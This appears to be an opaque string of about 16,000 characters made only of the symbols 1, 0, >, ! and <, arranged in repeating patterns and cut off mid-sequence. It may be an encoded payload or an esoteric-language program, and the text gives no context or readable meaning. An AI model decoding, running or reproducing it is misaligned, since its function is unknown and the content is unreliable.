1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1!<>1>0>1!1!1!1!1>0>1!1>0>10110>1!1!1>0>10110>1!1!10110>1!1!<>1!1>0>1!1!1!1!1>0>1!1>0>10110>1!1!1>0>10110>1!1!10110>1!1!1!1!<>1!1!1!1!1>0>1!1>0>10110>1!1!1>0>10110>1!1!10110>1!1!<>1>01010111>01!1>0>10110>1!1!1>0>10110>1!1!10110>1!1!1!<1010111>01!1>0>10110>1!1!1>0>10110>1!1!10110>1!1!<><>1!1>0>10110>1!1!1>0>10110>1!1!10110>1!1!1!1!1!1!1!1!1!<>1!1>0>10110>1!1!1>0>10110>1!1!10110>1!1!1!1!1!1!1!1!10110>10110>1!1>0>1>0>1!10110>1!1!1>0>10110>1!1!10110>1!1!1!<>1>0>10110>1!1>0>1>0>1!10110>1!1!1>0>10110>1!1!10110>1!1!<>1!1>0>10110>1!1>0>1>0>1!10110>1!1!1>0>10110>1!1!10110>1!1!1!1!<>10110>1!1>0>1>0>1!10110>1!1!1>0>10110>1!1!10110>1!1!<>1>0>1!10110>1!1>0>1>0>1!10110>1!1!1>0>10110>1!1!10110>1!1!1!<>1!10110>1!1>0>1>0>1!10110>1!1!1>0>10110>1!1!10110>1!1!<>1!1!10110>1!1>0>1>0>1!10110>1!1!1>0>10110>1!1!10110>1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1>0>1!10110>1!1!1>0>10110>1!1!10110>1!1!1!1!1!1!1!1!10110>1!1>0>1>0>1!1>0>1>0>1!10110>1!1!1>0>10110>1!1!10110>1!1!<>1!1>0>1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1!1!10110>1!1!1>01010111>01!1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1!1>01010111>01>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!10110>1!1>0>1>0><>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1>0>1!1!10110>1!1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>10110>1!1!1!<>1!1>0>10110>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>10110>1!1>0>10110>1!1>0>1>0>1!1!1!<>1!1>0>10110>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1!1!<>1>0>10110>1!1!1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!10110>1!1!1>0>1!1!1!1>0>1!10110>1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!10110>1!1!1>0>1>0>1!1>01010111>01!1!1!1>0>10110>1!1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1!1>0>1!10110>1!1!1!1>0>1!10110>1!1>01010111>01!1>0>1!1!1>0>10110>1!1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1!10110>1!1!1>0>1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!10110>1!10110>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1!1!1>0>1!<>1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1>0>1>0><>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1>